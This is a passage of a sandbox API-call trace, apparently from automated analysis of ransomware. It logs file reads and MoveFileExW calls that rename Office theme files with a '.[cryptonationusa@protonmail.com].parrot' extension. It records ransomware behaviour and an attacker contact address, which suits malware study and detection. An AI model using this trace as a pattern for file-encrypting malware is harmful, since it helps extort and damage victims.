nNumberOfBytesToRead=0x9ac, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x9ac, lpOverlapped=0x0) returned 1 [0123.250] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0123.250] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.250] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4bb0 [0123.250] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0123.250] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0123.253] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0123.253] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0123.254] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.255] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4c1d, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x4c1d, lpOverlapped=0x0) returned 1 [0123.255] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0123.257] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.257] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4bb0 [0123.257] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0123.258] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0123.307] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0123.307] ReadFile (in: hFile=0x1b4, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0123.308] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.308] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xba32, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xba32, lpOverlapped=0x0) returned 1 [0123.309] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0123.311] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.311] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4bb0 [0123.311] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0123.313] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\journal.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\journal.elm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0123.317] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0123.317] ReadFile (in: hFile=0x1b4, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0123.318] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.318] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1f3, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1f3, lpOverlapped=0x0) returned 1 [0123.318] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0123.319] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.319] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4bb0 [0123.319] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0123.319] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\journal.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\journal.inf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0123.322] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0123.322] ReadFile (in: hFile=0x1b4, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0123.323] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.324] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4d0, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x4d0, lpOverlapped=0x0) returned 1 [0123.324] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0123.324] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.324] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4bb0 [0123.324] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0123.324] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0123.327] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0123.327] ReadFile (in: hFile=0x1b4, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0123.328] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.328] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x47ed, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x47ed, lpOverlapped=0x0) returned 1 [0123.329] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0123.331] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.331] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4bb0 [0123.331] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0123.332] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0123.337] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0123.338] ReadFile (in: hFile=0x1b4, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0123.339] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.339] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe743, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xe743, lpOverlapped=0x0) returned 1 [0123.340] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0123.342] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.342] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4bb0 [0123.342] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0123.344] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\layers.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\layers.elm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0123.349] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0123.349] ReadFile (in: hFile=0x1b4, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0123.350] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.350] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x215, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x215, lpOverlapped=0x0) returned 1 [0123.350] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0123.351] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.351] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4bb0 [0123.351] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0123.351] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\layers.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\layers.inf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0123.354] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0123.354] ReadFile (in: hFile=0x1b4, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0123.355] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.356] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x67b, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x67b, lpOverlapped=0x0) returned 1 [0123.356] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0123.356] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.356] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4bb0 [0123.356] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0123.356] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0123.359] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0123.359] ReadFile (in: hFile=0x1b4, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0123.361] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.361] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xaf32, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xaf32, lpOverlapped=0x0) returned 1 [0123.362] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0123.365] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.365] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4bb0 [0123.365] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0123.369] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0123.375] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0123.375] ReadFile (in: hFile=0x1b4, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0123.415] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.415] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe2ec, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xe2ec, lpOverlapped=0x0) returned 1 [0123.416] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0123.418] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.418] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4bb0 [0123.418] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0123.419] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\level.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\level.elm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0123.424] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0123.424] ReadFile (in: hFile=0x1b4, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0123.425] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.425] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x20e, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x20e, lpOverlapped=0x0) returned 1 [0123.425] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0123.425] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.425] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4bb0 [0123.425] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0123.426] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\level.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\level.inf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0123.429] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0123.429] ReadFile (in: hFile=0x1b4, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0123.439] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.439] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x563, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x563, lpOverlapped=0x0) returned 1 [0123.439] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0123.439] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.439] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4bb0 [0123.439] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0123.439] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0123.442] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0123.442] ReadFile (in: hFile=0x1b4, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0123.444] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.444] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xbbf3, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xbbf3, lpOverlapped=0x0) returned 1 [0123.444] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0123.447] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.447] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4bb0 [0123.447] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0123.449] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0123.453] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0123.454] ReadFile (in: hFile=0x1b4, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0123.455] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.455] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xc649, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xc649, lpOverlapped=0x0) returned 1 [0123.456] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0123.458] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.458] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4bb0 [0123.458] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0123.491] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\network.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\network.elm.[cryptonationusa@protonmail.com].parrot"), 